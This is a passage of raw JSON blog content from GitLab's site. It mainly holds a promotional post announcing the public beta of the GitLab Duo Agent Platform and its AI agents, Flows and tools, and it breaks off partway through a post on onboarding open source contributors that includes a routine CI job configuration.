Security","en-us/blog/bridging-the-visibility-gap-in-software-supply-chain-security.yml","en-us/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"_path":762,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":763,"content":767,"config":775,"_id":778,"_type":16,"title":779,"_source":17,"_file":780,"_stem":781,"_extension":20},"/en-us/blog/gitlab-18-2-released",{"config":764,"title":765,"description":766},{"noIndex":92},"GitLab 18.2 released","Newest release features Duo Agent Platform in the IDE (beta) and Custom workflow statuses for issues and tasks.",{"title":765,"description":766,"authors":768,"heroImage":770,"date":771,"body":772,"category":695,"tags":773},[769],"Gabriel Engel","https://res.cloudinary.com/about-gitlab-com/image/upload/v1752756250/ndfasndpqclcourduxxa.png","2025-07-17","This is the release post for [GitLab 18.2](https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/).",[774],"releases",{"featured":6,"template":678,"slug":776,"externalUrl":777},"gitlab-18-2-released","https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/","content:en-us:blog:gitlab-18-2-released.yml","Gitlab 18 2 Released","en-us/blog/gitlab-18-2-released.yml","en-us/blog/gitlab-18-2-released",{"_path":783,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":784,"content":788,"config":796,"_id":798,"_type":16,"title":799,"_source":17,"_file":800,"_stem":801,"_extension":20},"/en-us/blog/gitlab-duo-agent-platform-public-beta",{"noIndex":6,"title":785,"description":786,"ogImage":787},"GitLab Duo Agent Platform goes public beta","Introducing the DevSecOps orchestration platform designed to unlock asynchronous collaboration between developers and AI agents.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1752678395/impw8no5tbskr6k2afgu.jpg",{"tags":789,"category":791,"date":771,"heroImage":787,"authors":792,"description":786,"title":794,"body":795},[790,695,754,736],"AI/ML","ai-ml",[793],"Bill Staples","GitLab Duo Agent Platform Public Beta: Next-gen AI orchestration and more","**We're building the future of software development.**\n\nAt GitLab, we are [reimagining the future of software engineering](https://about.gitlab.com/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/) as a human and AI collaboration. Where developers focus on solving technical, complex problems and driving innovation, while AI agents handle the routine, repetitive tasks that slow down progress. Where developers are free to explore new ideas in code at much lower cost, bug backlogs are a thing of the past, and users of the software you build enjoy a more usable, reliable, and secure experience. This isn't a distant dream. We're building this reality today, and it is called the GitLab Duo Agent Platform.\n\n## What is GitLab Duo Agent Platform?\n\nGitLab Duo Agent Platform is our next-generation DevSecOps orchestration platform designed to unlock asynchronous collaboration between developers and AI agents. It will transform your development workflow from isolated linear processes into dynamic collaboration where specialized AI agents work alongside you and your team on every stage of the software development lifecycle; it will be like having an unlimited team of colleagues at your disposal.\n\nImagine delegating a complex refactoring task to a Software Developer Agent while simultaneously having a Security Analyst Agent scan for vulnerabilities and a Deep Research Agent analyze progress across your repository history. This all happens in parallel, orchestrated seamlessly within GitLab.\n\nToday, we are announcing the launch of the [first public beta of the GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo/agent-platform/) for GitLab.com and self-managed GitLab Premium and Ultimate customers. This is just the first in a series of updates that will improve how software gets planned, built, verified, and deployed as we amplify human ingenuity through intelligent automation.\n\nThis first beta focuses on unlocking the IDE experience through the GitLab VS Code extension and JetBrains IDEs plug-in; next month, we plan on bringing the Duo Agent Platform experience to the GitLab application and expand our IDE support. Let me share a bit more about our vision for the roadmap between now and general availability, planned for later this year. You can find details about the first beta down below.\n\nWatch this video or read on for what's available now and what's to come. Then, if you're ready to get started with Duo Agent Platform, [find out how with the public beta](#get-started-now).\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101993507?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Agent Platform Beta Launch_071625_MP_v2\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## GitLab's unique position as an orchestration platform\n\nGitLab sits at the heart of the development lifecycle as the system of record for engineering teams, orchestrating the entire journey from concept to production for over 50 million registered users, including half of the Fortune 500 across geographies. This includes over 10,000 paying customers across all segments and verticals, including public institutions.\n\nThis gives GitLab something no competitor can match: a comprehensive understanding of everything it takes to deliver software. We bring together your project plans, code, test runs, security scans, compliance checks, and CI/CD configurations to not only power your team but also orchestrate collaboration with AI agents you control.\n\nAs an intelligent, unified DevSecOps platform, GitLab stores all of the context about your software engineering practice in one place. We will expose this unified data to AI agents via our knowledge graph. Every agent we build has automatic access to this SDLC-connected data set, providing rich context so agents can make informed recommendations and take actions that adhere to your organizational standards.\n\n**Here's an example of this advantage in action.** Have you ever tried to figure out exactly how a project is going across dozens, if not hundreds, of stories and issues being worked on across all the developers involved? Our Deep Research Agent leverages the GitLab Knowledge Graph and semantic search capabilities to traverse your epic and all related issues, and explore the related codebase and surrounding context. It quickly correlates information across your repositories, merge requests, and deployment history. This delivers critical insights that standalone tools can't match and that would take human developers hours to uncover. \n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101998114?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Deep Research Demo_071625_MP_v1\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Our strategic evolution from AI features to agent orchestration\n\nGitLab Duo started as an add-on, bringing generative AI to developers through Duo Pro and Enterprise. With GitLab 18.0, it's now built into the platform. We've unlocked [Duo Agentic Chat](https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover/) and Code Suggestions for all Premium and Ultimate users, and now we're providing immediate access to the Duo Agent Platform.\n\nWe've ramped up engineering investment and are accelerating delivery, with powerful new AI features landing every month. But we're not just building another coding assistant. GitLab Duo is becoming an agent orchestration platform, where you can create, customize, and deploy AI agents that work alongside you and interoperate easily with other systems, dramatically increasing productivity. \n\n> **“GitLab Duo Agent Platform enhances our development workflow with AI that truly understands our codebase and our organization. Having GitLab Duo AI agents embedded in our system of record for code, tests, CI/CD, and the entire software development lifecycle boosts productivity, velocity, and efficiency. The agents have become true collaborators to our teams, and their ability to understand intent, break down problems, and take action frees our developers to tackle the exciting, innovative work they love.”** - Bal Kang, Engineering Platform Lead at NatWest\n\n### Agents that work out of the box\n\nWe are introducing agents that mirror familiar team roles. These agents can search, read, create, and modify existing artifacts across GitLab. Think of these as agents you can interact with individually, that also act as building blocks that you can customize to create your own agents. Like your team members, agents have defined specializations, such as software development, testing, or technical writing. As specialists, they're tapping into the right context and tools to consistently accomplish the same types of tasks, wherever they're deployed.\n\nHere are some of the agents we're building today:\n\n- **Chat Agent (now in beta):** Takes natural language requests to provide information and context to the user. Can perform general development tasks, such as reading issues or code diffs. As an example, you can ask Chat to debug a failed job by providing the job URL.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1102616311?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"agentic-chat-in-web-ui-demo_Update V2\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\u003Cp>\u003C/p>\n\n- **Software Developer Agent (now in beta):** Works on assigned items by creating code changes in virtual development environments and opening merge requests for review.\n\n- **Product Planning Agent:** Prioritizes product backlogs, assigns work items to human and agentic team members, and provides project updates over specified timelines.\n\n- **Software Test Engineer Agent:** Tests new code contributions for bugs and validates if reported issues have been resolved. \n\n- **Code Reviewer Agent:** Performs code reviews following team standards, identifies quality and security issues, and can merge code when ready.\n\n- **Platform Engineer Agent:** Monitors GitLab deployments, including GitLab Runners, tracks CI/CD pipeline health, and reports performance issues to human platform engineering teams.\n\n- **Security Analyst Agent:** Finds vulnerabilities within codebases and deployed applications, and implements code and configuration changes to help resolve security weaknesses.\n\n- **Deployment Engineer Agent:** Deploys updates to production, monitors for unusual behavior, and rolls back changes that impact application performance or security.\n\n- **Deep Research Agent:** Conducts comprehensive, multi-source analysis across your entire development ecosystem.\n\nWhat makes these agents powerful is their native access to GitLab's comprehensive toolkit. Today, we have over 25 tools, from issues and epics to merge requests and documentation, with more to come. Unlike external AI tools that operate with limited context, our agents work as true team members with full platform privileges under your supervision.\n\nIn the coming months, you'll also be able to modify these agents to meet the needs of your organization. For example, you'll be able to specify that a Software Test Engineer Agent follows best practices for a particular framework or methodology, deepening its specialization and turning it into an even more valuable team member.\n\n## Flows orchestrate complex agent tasks\n\nOn top of individual agents, we are introducing agent Flows. Think of these as more complex workflows that can include multiple agents with pre-built instructions, steps, and actions for a given task that can run autonomously. \n\nWhile you can create Flows for basic tasks common to individuals, they truly excel when applied to complex, specialized tasks that would normally take hours of coordination and effort to complete. Flows will help you finish complex tasks faster and, in many cases, asynchronously without human intervention.\n\nFlows have specific triggers for execution. Each Flow contains a series of steps, and each step has detailed instructions that tell a specialized agent what to do. This granular approach allows  you to give precise instructions to agents in the Flow. By defining instructions in greater detail and establishing structured decision points, Flows can help solve for the inherent variability in AI responses while eliminating the need to repeatedly specify the same requirements, unlocking more consistent and predictable outcomes without user configuration.\n\nHere are some examples of out-of-the-box Flows that we are building:\n\n- **Software Development Flow (now in beta):** Orchestrates multiple agents to plan, implement, and test code changes end-to-end, helping transform how teams deliver features from concept to production.\n\n- **Issue-to-MR Flow:** Automatically converts issues into actionable merge requests by coordinating agents to analyze requirements, prepare comprehensive implementation plans, and generate code.\n\n- **Convert CI File Flow:** Streamlines migration workflows by having agents analyze existing CI/CD configurations and intelligently convert them to GitLab CI format with full pipeline compatibility.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101941425?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"jenkins-to-gitlab-cicd-for-blog\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n- **Search and Replace Flow:** Discovers and transforms code patterns across codebases by systematically analyzing project structures, identifying optimization opportunities, and executing precise replacements.\n\n- **Incident Response & Root Cause Analysis Flow:** Orchestrates incident response by correlating system data, coordinating specialized agents for root cause analysis, and executing approved remediation steps while keeping human stakeholders informed throughout the resolution process.\n\nThis is where GitLab Duo Agent Platform is taking a truly unique approach versus other AI solutions. We won't just give you pre-built agents. We'll also give you the power to create, customize, and share agent Flows that perfectly match your individual and organization's unique needs. And with Flows, you will then be able to give agents a specific execution plan for common and complex tasks.\n\nWe believe this approach is more powerful than building purpose-built agents like our competitors do, because every organization has different workflows, coding standards, security requirements, and business logic. Generic AI tools can't understand your specific context, but GitLab Duo Agent Platform will be able to be tailored to work exactly how your team works.\n\n## Why build agents and agent Flows in the GitLab Duo Agent Platform?\n\n**Build fast.** You can build agents and complex agent Flows in the Duo Agent Platform quickly and easily using a fast, declarative extensibility model and UI assistance.\n\n**Built-in compute.** With Duo Agent Platform, you no longer have to worry about the hassle of standing up your own infrastructure for agents: compute, network, and storage are all built-in.\n\n**SDLC events.** Your agents can be invoked automatically on common events: broken pipeline, failed deployment, issue created, etc.\n\n**Instant access.** You can interact with your agents everywhere in GitLab or our IDE plug-in: assign them issues, @mention them in comments, and chat with them everywhere Duo Chat is available.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1102029239?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"assigning an agent an issue\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script> \u003Cp>\u003C/p>\n\n**Built-in and custom models supported.** Your agents will have automatic access to all of the models we support, and users will be able to choose specific models for specific tasks. If you want to connect Duo Agent Platform to your own self-hosted model, you will be able to do that too!\n\n**Model Context Protocol (MCP) endpoints.** Every agent and Flow can be accessed or triggered via native MCP endpoints, allowing you to connect to and collaborate with your agents and Flows from anywhere, including popular tools like Claude Code, Cursor, Copilot, and Windsurf.\n\n**Observability and security.** Finally, we provide built-in observability and usage dashboards, so you can see exactly who, where, what, and when agents took actions on your behalf.\n\n## A community-driven future\n\nCommunity contributions have long fueled GitLab's innovation and software development. We're excited to partner with our community with the introduction of the AI Catalog. The AI Catalog will allow you to create and share agents and Flows within your organization and across the GitLab Ecosystem in our upcoming beta.\n\nWe believe that the most valuable AI applications are likely to emerge from you, our community, thanks to your daily application of GitLab Duo Agent Platform to solve numerous real-world use cases. By enabling seamless sharing of agents and Flows, we're creating a network effect where each contribution enhances the platform's collective intelligence and value. Over time, we believe that the most valuable use cases from Agent Platform will come from our thriving GitLab community. \n\n![AI Catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685501/awdwx08udwrxgvcpmssb.png \"AI Catalog\")\n\n## Available today in the GitLab Duo Agent Platform in public beta\n\nThe GitLab Duo Agent Platform public beta is available now to Premium and Ultimate customers with these capabilities:\n\n**Software Development Flow:** Our first Flow orchestrates agents in gathering comprehensive context, clarifying ambiguities with human developers, and executing strategic plans to make precise changes to your codebase and repository. It leverages your entire project, including its structure, codebase, and history, along with additional context like GitLab issues or merge requests to amplify developer productivity.\n\n**New Agent tools available:** Agents now have access to multiple tools to do their work, including:\n\n  - File System (Read, Create, Edit, Find Files, List, Grep)\n  - Execute Command Line*\n  - Issues (List, Get, Get Comments, Edit*, Create*, Add/Update Comments*)\n  - Epics (Get, Get Comments)\n  - MR (Get, Get Comments, Get Diff, Create, Update)\n  - Pipeline (Job Logs, Pipeline Errors)\n  - Project (Get, Get File)\n  - Commits (Get, List, Get Comments, Get Diff)\n  - Search (Issue Search)\n  - Secure (List Vulnerabilities)\n  - Documentation Search\n  \n*=Requires user approval\n\n**GitLab Duo Agentic Chat in the IDE:** Duo Agentic Chat transforms the chat experience from a passive Q&A tool into an active development partner directly in your IDE.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1103237126?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"agentic-ai-launch-video_NEW\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\u003Cp>\u003C/p>\n\n- **Iterative feedback and chat history:** Duo Agentic Chat now supports chat history and iterative feedback, transforming the agent into a stateful, conversational partner. This fosters trust, enabling developers to delegate more complex tasks and offer corrective guidance.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743173?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"agentic-chat-history\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n- **Streamlined delegation with slash commands:** Expanded, more powerful slash commands, such as /explain, /tests, and /include, create a “delegation language” for quick and precise intent. The /include command allows the explicit injection of context from specific files, open issues, merge requests, or dependencies directly into the agent's working memory, making the agent more powerful and teaching users how to provide optimal context for high-quality responses.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743187?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"include-agentic-chat-jc-voiceover\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n- **Personalization through custom rules:** New Custom Rules enables developers to tailor agent behavior to individual and team preferences using natural language, for example, development style guides. This foundational mechanism shapes the agent's persona into a personalized assistant, evolving toward specialized agents based on user-defined preferences and organizational policies.\n    \n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743179?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"custom-rules-with-jc-voiceover\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n- **Support for GitLab Duo Agentic Chat in JetBrains IDE:** To help meet developers where they work, we have expanded Duo Agentic Chat support to the JetBrains family of IDEs, including IntelliJ, PyCharm, GoLand, and Webstorm. This adds to our existing support for VS Code. Existing users get agentic capabilities automatically, while new users can install the plugin from the JetBrains Marketplace.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743193?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"jetbrains-support-jc-voiceover\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n    \n- **MCP client support:** Duo Agentic Chat can now act as an MCP client, connecting to remote and locally running MCP servers. This capability unlocks the agent's ability to connect to systems beyond GitLab like Jira, ServiceNow, and ZenDesk to gather context or take actions. Any service that exposes itself via MCP can now become part of the agent's skill set. The official GitLab MCP Server is coming soon!\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743202?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"McpDemo\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n    \n- **GitLab Duo Agentic Chat in GitLab Web UI.** Duo Agentic Chat is also now available directly within the GitLab Web UI. This pivotal step evolves the agent from a coding assistant to a true DevSecOps agent, as it gains access to rich non-code context, such as issues and merge request discussions, allowing it to understand the \"why\" behind the work. Beyond understanding context, the agent can make changes directly from the WebUI, such as automatically updating issue statuses or editing merge request descriptions.\n\n## Coming soon to GitLab Duo Agent Platform\n\nOver the coming weeks, we'll release new capabilities to Duo Agent Platform, including more out-of-the-box agents and Flows. These will bring the platform into the GitLab experience you love today and enable even greater customization and extensibility, amplifying productivity for our customers:\n\n![GitLab Duo Agent Platform public beta roadmap](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685275/hjbe9iiu2ydp9slibsc2.png \"GitLab Duo Agent Platform public beta roadmap\")\n\n\n- **Integrated GitLab experience:** Building on the IDE extensions available in 18.2, we're expanding agents and Flows within the GitLab platform. This deeper integration will expand the ways you can collaborate synchronously and asynchronously with agents. You will be able to assign issues directly to agents, @mention them within GitLab Duo Chat, and seamlessly invoke them from anywhere in the application while maintaining MCP connectivity from your developer tool of choice. This native integration transforms agents into true development team members, accessible across GitLab.\n\n- **Agent observability:** As agents become more autonomous, we're building comprehensive visibility into their activity as they progress through Flows, enabling you to monitor their decision-making processes, track execution steps, and understand how they're interpreting and acting on your development challenges. This transparency into agent behavior builds trust and confidence while allowing you to optimize workflows and identify bottlenecks, and helps ensure agents are performing exactly as intended.\n\n- **AI Catalog:** Recognizing that great solutions come from community innovation, we will soon introduce the public beta of our AI Catalog — a marketplace which will allow you to extend Duo Agent Platform with specialized Agents and Flows sourced from GitLab, and over time, the broader community.  You'll be able to quickly deploy these solutions in GitLab, leveraging context across your projects and codebase.\n\n- **Knowledge Graph:** Leveraging GitLab's unique advantage as the system of record for source code and its surrounding context, we're building a comprehensive Knowledge Graph that not only maps files and dependencies across the codebase but also makes that map navigable for users while accelerating AI query times and helping increase accuracy. This foundation enables GitLab Duo agents to quickly understand relationships across your entire development environment, from code dependencies to deployment patterns, unlocking faster and more precise responses to complex questions.\n\n![GitLab Duo Agent Platform Knowledge Graph](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685367/n0tvfgorchuhrronic3j.png \"GitLab Duo Agent Platform Knowledge Graph\")\n\n- **Create and edit agents and Flows:** Understanding that every organization has unique workflows and requirements, we're developing powerful agent and Flow creation and editing capabilities that will be introduced as the AI Catalog matures. You'll be able to create and modify agents and Flows to operate precisely the way your organization works, delivering deep customization across the Duo Agent Platform that enables higher quality results and increased productivity. \n\n![AI Catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752684938/fruwqcqvvrx8gmkz5u0v.png \"AI Catalog\")\n\n- **Official GitLab MCP Server:** Recognizing that developers work across multiple tools and environments, we're building an official GitLab MCP server that will enable you to access all of your agents and Flows via MCP. You'll be able to connect to and collaborate with your agents and Flows from anywhere MCP is supported, including popular tools like Claude Code, Cursor, Copilot, and Windsurf, unlocking seamless AI collaboration regardless of your preferred development environment.\n\n- **GitLab Duo Agent Platform CLI:** Our upcoming CLI will allow you to invoke agents and trigger Flows on the command line, leveraging GitLab's rich context across the entire software development lifecycle—from code repositories and merge requests to CI/CD pipelines and issue tracking. \n\n## Get started now\n\n- **GitLab Premium and Ultimate customers** in GitLab.com and self-managed environments using GitLab 18.2 can use Duo Agent Platform immediately (beta and experimental features for GitLab Duo [must be enabled](https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features)). GitLab Dedicated customers will be able to use the Duo Agent Platform with the release of GitLab 18.2 for Dedicated next month.\n\n- Users should download the [VS Code extension](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) or the [JetBrains IDEs plugin](https://plugins.jetbrains.com/plugin/22857-gitlab) and follow our [guide to using GitLab Duo Agentic Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat), including Duo Chat [slash commands](https://docs.gitlab.com/user/gitlab_duo_chat/examples/#gitlab-duo-chat-slash-commands). \n\n**New to GitLab?** See GitLab Duo Agent Platform in action at our Technical Demo, offered in two timezone-friendly sessions: [Americas and EMEA](https://page.gitlab.com/webcasts-jul16-gitlab-duo-agentic-ai-emea-amer.html) and [Asia-Pacific](https://page.gitlab.com/webcasts-jul24-gitlab-duo-agentic-ai-apac.html). To get hands-on with GitLab Duo Agent Platform yourself, sign up for a [free trial](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2Fsales%2F) today.\n\n\n\u003Csmall>*This blog post contains “forward-looking statements” within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in the forward-looking statements contained in this blog post are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to be materially different from any future results or outcomes expressed or implied by the forward-looking statements.*\n\n*Further information on risks, uncertainties, and other factors that could cause actual outcomes and results to differ materially from those included in or contemplated by the forward-looking statements contained in this blog post are included under the caption “Risk Factors” and elsewhere in the filings and reports we make with the Securities and Exchange Commission. We do not undertake any obligation to update or release any revisions to any forward-looking statement or to report any events or circumstances after the date of this blog post or to reflect the occurrence of unanticipated events, except as required by law.*\u003C/small>\n",{"featured":92,"template":678,"slug":797},"gitlab-duo-agent-platform-public-beta","content:en-us:blog:gitlab-duo-agent-platform-public-beta.yml","Gitlab Duo Agent Platform Public Beta","en-us/blog/gitlab-duo-agent-platform-public-beta.yml","en-us/blog/gitlab-duo-agent-platform-public-beta",{"_path":803,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":804,"content":807,"config":817,"_id":819,"_type":16,"title":820,"_source":17,"_file":821,"_stem":822,"_extension":20},"/en-us/blog/how-we-use-gitlab-to-grow-open-source-communities",{"noIndex":6,"title":805,"description":806},"How we use GitLab to grow open source communities","Learn how to use the DevSecOps platform to solve onboarding problems for new contributors.",{"title":805,"description":806,"body":808,"authors":809,"heroImage":812,"category":813,"tags":814,"date":816},"\nGitLab's Contributor Success team faced a challenge.\nWhile our returning open source contributors were merging more code changes and collaborating on deeper features, first-time contributors were struggling to get started. We knew many newcomers to open source often gave up or never asked for help. But as advocates for [GitLab's mission](https://handbook.gitlab.com/handbook/company/mission/)\nto enable everyone to contribute, we wanted to do better.\n\nWe started running research studies on open source contributors to GitLab. Then we improved the stumbling blocks. In January, we achieved a record of 184 unique community contributors to GitLab in a single month,\nexceeding our team target of 170 for the first time.\n\nThree months later, we broke it again with 192.\n\nHere's how we used GitLab's own tools to solve the newcomer dilemma and grow our open source community.\n\n## What we learned studying first-time contributors\n\nIn 2023, we conducted the first-ever user study of GitLab open source contributors.\nWe watched six participants who had never contributed to GitLab make their first attempt. They completed diary studies and Zoom interviews detailing their experience.\n\nParticipants told us:\n\n* The contributor documentation was confusing\n* Getting started felt overwhelming\n* It wasn't clear how or where to find help\n\nOnly one out of the six participants successfully merged a code contribution to GitLab during the study.\n\nIt became clear we needed to focus on the onboarding experience if we wanted new contributors to succeed.\nSo we [iterated](https://handbook.gitlab.com/handbook/values/#iteration)!\n\nOur team spent the next year addressing their challenges. We used GitLab tools,\nsuch as issue templates, scheduled pipelines, webhooks, and the GitLab Query Language (GLQL), to build an innovative semi-automated onboarding solution.\n\nIn 2025, we performed a follow-up user study with new participants who had never made a contribution to GitLab. All 10 participants successfully created and merged contributions to GitLab, a 100% success rate. The feedback showed a great appreciation for the new onboarding process, the speed at which\nmaintainers checked in on contributors, and the recognition we offered to contributors.\n\nEven better, participants shared how much fun they had contributing:\n\"I felt a little rush of excitement at being able to say 'I helped build GitLab.'\"\n\n## We built personal onboarding with GitLab\n\nOur solution started with engagement.\nTo help newcomers get started, we introduced a personal onboarding process connecting each\ncontributor with a community maintainer.\n\nWe created an [issue template](https://gitlab.com/gitlab-community/meta/-/blob/ac0e5579a6a1cf26e367010bfcf6c7d35b38d4f8/.gitlab/issue_templates/Onboarding.md) with a clear checklist of tasks.\n\nThe onboarding issue also handles access approval for the\n[GitLab community forks](https://about.gitlab.com/blog/gitlab-community-forks/),\na collection of shared projects that make it easier to push changes, collaborate with others,\nand access GitLab Ultimate and Duo features.\n\nUsing [scoped labels](https://docs.gitlab.com/user/project/labels/#scoped-labels), we indicate the status of the access request for easy maintainer follow-ups.\n\n![GitLab onboarding issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/vkiyl0hrfbgcer3nz38r.png)\n\nWe started with a Ruby script run via a [scheduled pipeline](https://docs.gitlab.com/ci/pipelines/schedules/),\nchecking for new access requests and using the issue template to create personalized onboarding issues.\n\nFrom here, our maintainers engage with new contributors to verify access, answer questions, and find issues.\n\n## We standardized responses with comment templates\n\nWith multiple maintainers in the GitLab community, we wanted to ensure consistent and clear messaging.\n\nWe created [comment templates](https://docs.gitlab.com/user/profile/comment_templates/),\nwhich we sync with the repository using the GraphQL API and a\n[Ruby script](https://gitlab.com/gitlab-community/meta/-/blob/dd6e0c2861c848251424b72e3e8c5603dcaac725/bin/sync_comment_templates.rb).\n\nThe script is triggered in `.gitlab-ci.yml` when comment template changes are pushed\nto the default branch (a dry run is triggered in merge requests).\n\n```yaml\nexecute:sync-comment-templates:\n  stage: execute\n  extends: .ruby\n  script:\n    - bundle exec bin/sync_comment_templates.rb\n  variables:\n    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == \"trigger\"\n      when: never\n    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'\n    - if: $CI_MERGE_REQUEST_IID\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        REPORT_ONLY: 1\n    - if: $CI_COMMIT_REF_NAME == 